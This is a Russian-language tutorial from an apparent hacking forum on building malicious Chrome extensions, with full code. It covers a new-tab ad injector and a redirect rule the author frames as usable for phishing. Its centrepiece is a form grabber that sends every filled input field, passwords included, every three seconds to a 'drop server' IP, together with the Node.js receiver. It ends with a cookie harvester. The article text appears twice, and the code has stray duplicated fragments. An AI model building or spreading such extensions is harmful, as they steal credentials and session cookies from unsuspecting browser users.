Автор: miserylord
Эксклюзивно для форума: xss.pro
Привет, miserylord на связи!
В этой статье я разберу тему написания вредоносных расширений для Google Chrome. Начнем с небольшого теоретического введения:
Расширение для Google Chrome — это скрипты/программы, которые позволяют расширять функционал браузера. Их возможности почти безграничны. Они могут менять поведение браузера, интегрировать сторонние сервисы, предоставлять дополнительные функции и многое другое. С частью функционала мы познакомимся сегодня. Важно отметить, что вредоносные расширения не делают ничего особенного, они просто используют стандартные методы API.
С точки зрения архитектуры, расширения основаны на модульной структуре, где компоненты взаимодействуют через API браузера. Основные компоненты архитектуры расширений Chrome:
Для написания расширений помогут несколько ресурсов, например, документация для разработчиков — Расширения Chrome | Chrome Extensions | Chrome for Developers, GitHub/ChatGPT, а также четкое понимание задачи.
Отмечу, что подобные механизмы можно применять и к другим браузерам. Вообще большинство популярных браузеров в современном мире, основанных на Chromium, используют одинаковую основу для расширений. Это касается Microsoft Edge, Opera, Brave, а также Firefox, у которого есть свой собственный набор API для расширений, но он во многом схож с Chrome. Поэтому технология разработки расширений будет схожа во всех этих браузерах.
В плане белых приложений, к которым можно добавлять дополнительный функционал, можно придумать множество вариантов. В первую очередь стоит изучить конкурентов. Забавный способ — поискать на YouTube по запросу "new extension for Google Chrome". Во-вторых, подумайте, возможно, вы и сами сталкивались с какой-то проблемой, для которой хотели бы найти решение. Ну и третий вариант — это хайповые темы, например, сейчас это что-то связанное с AI.
Сами приложения находятся в магазине приложений Google Chrome — https://chromewebstore.google.com/. Процесс добавления в магазин, раскрутка и реклама — это безусловно отдельная тема, которая может быть гораздо сложнее технической части.
Итак, начнем с чего-то простого. Идея приложения — подменить главную страницу (новую вкладку) для получения трафика, такая примитивная версия ад инжектора. Создаем новый проект, в файле manifest.json прописываем следующий код:
Самое главное в этом участке кода — chrome_url_overrides. Помимо того, что newtab заменяет стандартную страницу новой вкладки, этот параметр также имеет доступ к страницам bookmarks и history. manifest_version — это технический параметр, который ставится в 3. Остальное — чисто косметические ключи, которые не влияют на функционал расширения.
Теперь пропишем страницу newtab.html, которая будет отображаться при открытии новой вкладки:
В файле styles.css пропишем стили
Для тестирования перейдем по адресу в хроме chrome://extensions/, включим режим разработчика в правом верхнем углу, и подгрузим папку, в которой разрабатывали расширение. И вот что мы увидим:
Следующее расширение будет заменять определенные ссылки — делая редирект. По сути, с помощью этой техники можно делать редиректы на фишинговые страницы заданных сайтов. В рамках примера будет происходить замена google.com на bing.com. Создадим два файла:
Первый — manifest.json:
В данном случае расширению нужно разрешение на использование API declarativeNetRequest, которое позволяет перехватывать и изменять сетевые запросы без вмешательства в код страницы.
Второй файл — rules.json:
Правило описывает, что перехват происходит только на основных страницах, то есть в него не включены изображения или JavaScript-файлы. Также оно работает на всех поддоменах.
Это расширение написано без использования JavaScript, но давайте усложним проект, написав расширение, которое показывает алерты на определенных страницах.
Манифест:
В permissions указываем scripting, а в фоне запускаем скрипт background.js.
Этот код устанавливает обработчик события для установки расширения. Когда расширение установлено, оно регистрирует контентный скрипт, который будет выполняться на страницах Google. Скрипт будет загружаться из файла content.js и выполняться, когда страница будет полностью загружена.
Вот код для content.js с вызовом метода alert:
Далее реализуем универсальный перехватчик чувствительной информации. В рамках HTML-формы это осуществляется с помощью тега input. Следовательно, код должен проверять, заполнены ли поля input, и, если это так, отправлять лог с этой информацией на сервер. Таким образом, мы получим все логины, пароли, телефоны и другие данные. Сделать это достаточно просто. Нам понадобится сервер. Для корректной работы потребуется домен с HTTPS, поскольку формы с HTTPS-ресурсов не будут отправляться без TLS.
В манифесте расширения в host_permissions указываем адрес дроп-сервера, а в permissions — activeTab, что даёт доступ расширению к текущей активной вкладке браузера. Скрипт будет работать на всех страницах после загрузки HTML-документа. manifest.json:
В background.js проверяем корректность установленного расширения
Основной скрипт для работы с формами - content.js:
Скрипт сканирует страницу на наличие всех элементов input с помощью document.querySelectorAll('input'). Проверяет, заполнено ли поле ввода (если значение input.value не пустое и не состоит только из пробелов). Если поле заполнено, формируется объект data с информацией о поле: field: имя поля (или его ID, если имени нет; если отсутствует и то, и другое, указывается "без имени"); value: введённое значение.
Данные отправляются на сервер в формате JSON с помощью fetch. Для регулярной проверки полей используется setInterval, вызывающий функцию checkFormInputs каждые 3000 миллисекунд (3 секунды).
Код сервера (Node.js):
Помимо логина и пароля, аккаунт может быть перехвачен с помощью токена, который может находиться в локальном хранилище (что бывает не так часто), либо с помощью кук (что случается чаще). Возможно, вам знакомы расширения типа EditThisCookie, которые позволяют работать с куками, а значит, доступ к ним можно получить. Давайте разберемся, как это сделать.
Сперва разберемся, как получить куки в консоли браузера. Для этого используется document.cookie. Далее мы просто взаимодействуем с кодом, как если бы работали в консоли. В манифесте в разделе permissions добавляем cookies для получения доступа к кукам.
manifest.json:
Код content.js, который раз в три секунды выводит в консоль предворительно разбитые куки, полученние на дроп сервер можно организовать по примеру перехватчика форм:
```
Трям! Пока!
Эксклюзивно для форума: xss.pro
Привет, miserylord на связи!
В этой статье я разберу тему написания вредоносных расширений для Google Chrome. Начнем с небольшого теоретического введения:
Расширение для Google Chrome — это скрипты/программы, которые позволяют расширять функционал браузера. Их возможности почти безграничны. Они могут менять поведение браузера, интегрировать сторонние сервисы, предоставлять дополнительные функции и многое другое. С частью функционала мы познакомимся сегодня. Важно отметить, что вредоносные расширения не делают ничего особенного, они просто используют стандартные методы API.
С точки зрения архитектуры, расширения основаны на модульной структуре, где компоненты взаимодействуют через API браузера. Основные компоненты архитектуры расширений Chrome:
- Манифест в формате JSON — это файл, который описывает расширение: его имя, описание, разрешения и другие параметры. Он является инструкцией для браузера.
- Фоновые скрипты — скрипты, работающие в фоновом режиме и выполняющиеся вне контекста веб-страниц. Они управляют состоянием расширения, взаимодействуют с API браузера, управляют разрешениями, отправляют запросы в сеть и т.д.
- Контентные скрипты — скрипты, которые выполняются на страницах, взаимодействуя с их содержимым.
- Также могут быть созданы модальные окна и всплывающие интерфейсы с помощью HTML и CSS.
Для написания расширений помогут несколько ресурсов, например, документация для разработчиков — Расширения Chrome | Chrome Extensions | Chrome for Developers, GitHub/ChatGPT, а также четкое понимание задачи.
Отмечу, что подобные механизмы можно применять и к другим браузерам. Вообще большинство популярных браузеров в современном мире, основанных на Chromium, используют одинаковую основу для расширений. Это касается Microsoft Edge, Opera, Brave, а также Firefox, у которого есть свой собственный набор API для расширений, но он во многом схож с Chrome. Поэтому технология разработки расширений будет схожа во всех этих браузерах.
В плане белых приложений, к которым можно добавлять дополнительный функционал, можно придумать множество вариантов. В первую очередь стоит изучить конкурентов. Забавный способ — поискать на YouTube по запросу "new extension for Google Chrome". Во-вторых, подумайте, возможно, вы и сами сталкивались с какой-то проблемой, для которой хотели бы найти решение. Ну и третий вариант — это хайповые темы, например, сейчас это что-то связанное с AI.
Сами приложения находятся в магазине приложений Google Chrome — https://chromewebstore.google.com/. Процесс добавления в магазин, раскрутка и реклама — это безусловно отдельная тема, которая может быть гораздо сложнее технической части.
Итак, начнем с чего-то простого. Идея приложения — подменить главную страницу (новую вкладку) для получения трафика, такая примитивная версия ад инжектора. Создаем новый проект, в файле manifest.json прописываем следующий код:
JSON:
{
"manifest_version": 3,
"name": "Custom New Tab",
"version": "1.0",
"description": "",
"chrome_url_overrides": {
"newtab": "newtab.html"
}
}
Самое главное в этом участке кода — chrome_url_overrides. Помимо того, что newtab заменяет стандартную страницу новой вкладки, этот параметр также имеет доступ к страницам bookmarks и history. manifest_version — это технический параметр, который ставится в 3. Остальное — чисто косметические ключи, которые не влияют на функционал расширения.
Теперь пропишем страницу newtab.html, которая будет отображаться при открытии новой вкладки:
HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Новая вкладка</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="background">
<h1>Добро пожаловать!</h1>
<a href="1.com">Забирай бонусы каждый день!</a>
</div>
</body>
</html>
dy>
</html>
В файле styles.css пропишем стили
CSS:
body {
margin: 0;
padding: 0;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
background: url('background.jpg') no-repeat center center fixed;
background-size: cover;
font-family: Arial, sans-serif;
color: white;
text-shadow: 0 2px 4px rgba(0, 0, 0, 0.5);
}
a {
display: inline-block;
text-decoration: none;
color: #fff;
font-size: 32px;
font-weight: bold;
background: linear-gradient(45deg, #ff0000, #ff9900, #ffff00, #00ff00, #0000ff, #9900ff);
background-size: 300%;
border: 4px solid #ff0000;
border-radius: 10px;
padding: 15px 30px;
text-shadow: 2px 2px 10px #000, 0 0 20px #ff0000, 0 0 30px #ff9900;
box-shadow: 0 0 20px #ff0000, 0 0 40px #ff9900, 0 0 60px #ffff00;
animation: neonGlow 3s infinite linear, gradientShift 5s infinite linear;
}
a:hover {
box-shadow: 0 0 40px #00ff00, 0 0 60px #00ff00, 0 0 80px #00ff00;
transform: scale(1.1);
}
@keyframes neonGlow {
0%, 100% {
text-shadow: 2px 2px 10px #000, 0 0 20px #ff0000, 0 0 30px #ff9900;
box-shadow: 0 0 20px #ff0000, 0 0 40px #ff9900, 0 0 60px #ffff00;
}
50% {
text-shadow: 2px 2px 10px #000, 0 0 20px #00ff00, 0 0 30px #00ff00;
box-shadow: 0 0 20px #00ff00, 0 0 40px #00ff00, 0 0 60px #00ff00;
}
}
@keyframes gradientShift {
0% {
background-position: 0% 50%;
}
50% {
background-position: 100% 50%;
}
100% {
background-position: 0% 50%;
}
}
100% {
background-position: 0% 50%;
}
}
Для тестирования перейдем по адресу в хроме chrome://extensions/, включим режим разработчика в правом верхнем углу, и подгрузим папку, в которой разрабатывали расширение. И вот что мы увидим:
Следующее расширение будет заменять определенные ссылки — делая редирект. По сути, с помощью этой техники можно делать редиректы на фишинговые страницы заданных сайтов. В рамках примера будет происходить замена google.com на bing.com. Создадим два файла:
Первый — manifest.json:
JSON:
{
"manifest_version": 3,
"name": "Redirect to Bing",
"version": "1.0",
"description": "",
"permissions": [
"declarativeNetRequest"
],
"host_permissions": [
"*://*.google.com/*"
],
"declarative_net_request": {
"rule_resources": [
{
"id": "ruleset",
"enabled": true,
"path": "rules.json"
}
]
}
}
В данном случае расширению нужно разрешение на использование API declarativeNetRequest, которое позволяет перехватывать и изменять сетевые запросы без вмешательства в код страницы.
Второй файл — rules.json:
JSON:
[
{
"id": 1,
"priority": 1,
"action": {
"type": "redirect",
"redirect": {
"url": "https://www.bing.com/"
}
},
"condition": {
"urlFilter": "||google.com",
"resourceTypes": ["main_frame"]
}
}
]
Правило описывает, что перехват происходит только на основных страницах, то есть в него не включены изображения или JavaScript-файлы. Также оно работает на всех поддоменах.
Это расширение написано без использования JavaScript, но давайте усложним проект, написав расширение, которое показывает алерты на определенных страницах.
Манифест:
JSON:
{
"manifest_version": 3,
"name": "Site Alert Extension",
"version": "1.0",
"description": "",
"permissions": ["scripting"],
"host_permissions": [
"*://*.google.com/*"
],
"background": {
"service_worker": "background.js"
}
}
В permissions указываем scripting, а в фоне запускаем скрипт background.js.
JavaScript:
chrome.runtime.onInstalled.addListener(() => {
console.log("Extension installed");
chrome.scripting.registerContentScripts([
{
id: "showAlertScript",
matches: ["*://*.google.com/*"],
js: ["content.js"],
runAt: "document_idle"
}
]);
});
Этот код устанавливает обработчик события для установки расширения. Когда расширение установлено, оно регистрирует контентный скрипт, который будет выполняться на страницах Google. Скрипт будет загружаться из файла content.js и выполняться, когда страница будет полностью загружена.
Вот код для content.js с вызовом метода alert:
JavaScript:
alert("Только сегодня используй bing.com");
Далее реализуем универсальный перехватчик чувствительной информации. В рамках HTML-формы это осуществляется с помощью тега input. Следовательно, код должен проверять, заполнены ли поля input, и, если это так, отправлять лог с этой информацией на сервер. Таким образом, мы получим все логины, пароли, телефоны и другие данные. Сделать это достаточно просто. Нам понадобится сервер. Для корректной работы потребуется домен с HTTPS, поскольку формы с HTTPS-ресурсов не будут отправляться без TLS.
В манифесте расширения в host_permissions указываем адрес дроп-сервера, а в permissions — activeTab, что даёт доступ расширению к текущей активной вкладке браузера. Скрипт будет работать на всех страницах после загрузки HTML-документа. manifest.json:
JSON:
{
"manifest_version": 3,
"name": "Form Input Monitor",
"version": "1.0",
"description": "Отслеживает заполненность input форм на всех сайтах",
"permissions": ["activeTab"],
"host_permissions": [
"http://1.2.3.4:3001/*"
],
"background": {
"service_worker": "background.js"
},
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_end"
}
]
}
В background.js проверяем корректность установленного расширения
JavaScript:
chrome.runtime.onInstalled.addListener(() => {
console.log("Расширение установлено и активно.");
});
Основной скрипт для работы с формами - content.js:
JavaScript:
function checkFormInputs() {
const inputs = document.querySelectorAll('input');
inputs.forEach(input => {
if (input.value.trim() !== '') {
const data = {
field: input.name || input.id || 'без имени',
value: input.value
};
fetch('http://1.2.3.4:3001/api/inputs', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => {
if (!response.ok) {
throw new Error('Ошибка при отправке данных');
}
return response.json();
})
.then(result => {
console.log('Успешно отправлено:', result);
})
.catch(error => {
console.error('Ошибка:', error);
});
}
});
}
setInterval(() => {
checkFormInputs();
}, 3000);
Скрипт сканирует страницу на наличие всех элементов input с помощью document.querySelectorAll('input'). Проверяет, заполнено ли поле ввода (если значение input.value не пустое и не состоит только из пробелов). Если поле заполнено, формируется объект data с информацией о поле: field: имя поля (или его ID, если имени нет; если отсутствует и то, и другое, указывается "без имени"); value: введённое значение.
Данные отправляются на сервер в формате JSON с помощью fetch. Для регулярной проверки полей используется setInterval, вызывающий функцию checkFormInputs каждые 3000 миллисекунд (3 секунды).
Код сервера (Node.js):
JavaScript:
const express = require('express');
const bodyParser = require('body-parser');
const cors = require('cors');
const app = express();
const PORT = 3001;
app.use(bodyParser.json());
app.use(cors());
app.post('/api/inputs', (req, res) => {
const { field, value } = req.body;
if (!field || !value) {
return res.status(400).json({ error: 'Некорректные данные' });
}
console.log(`Получены данные: Поле - ${field}, Значение - ${value}`);
res.status(200).json({ message: 'Данные успешно получены' });
});
app.listen(PORT, () => {
console.log(`Сервер запущен на http://localhost:${PORT}`);
});
Помимо логина и пароля, аккаунт может быть перехвачен с помощью токена, который может находиться в локальном хранилище (что бывает не так часто), либо с помощью кук (что случается чаще). Возможно, вам знакомы расширения типа EditThisCookie, которые позволяют работать с куками, а значит, доступ к ним можно получить. Давайте разберемся, как это сделать.
Сперва разберемся, как получить куки в консоли браузера. Для этого используется document.cookie. Далее мы просто взаимодействуем с кодом, как если бы работали в консоли. В манифесте в разделе permissions добавляем cookies для получения доступа к кукам.
manifest.json:
JSON:
{
"manifest_version": 3,
"name": "Cookie Monitor",
"version": "1.0",
"description": "",
"permissions": [
"activeTab",
"cookies"
],
"background": {
"service_worker": "background.js"
},
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_end"
}
]
}
Код content.js, который раз в три секунды выводит в консоль предворительно разбитые куки, полученние на дроп сервер можно организовать по примеру перехватчика форм:
JavaScript:
function getCookies() {
const cookies = document.cookie.split(';').map(cookie => cookie.trim());
console.log("Куки для текущего сайта:");
cookies.forEach(cookie => {
const [name, value] = cookie.split('=');
console.log(`Имя: ${name}, Значение: ${value}`);
});
}
setInterval(() => {
getCookies();
}, 3000);
Трям! Пока!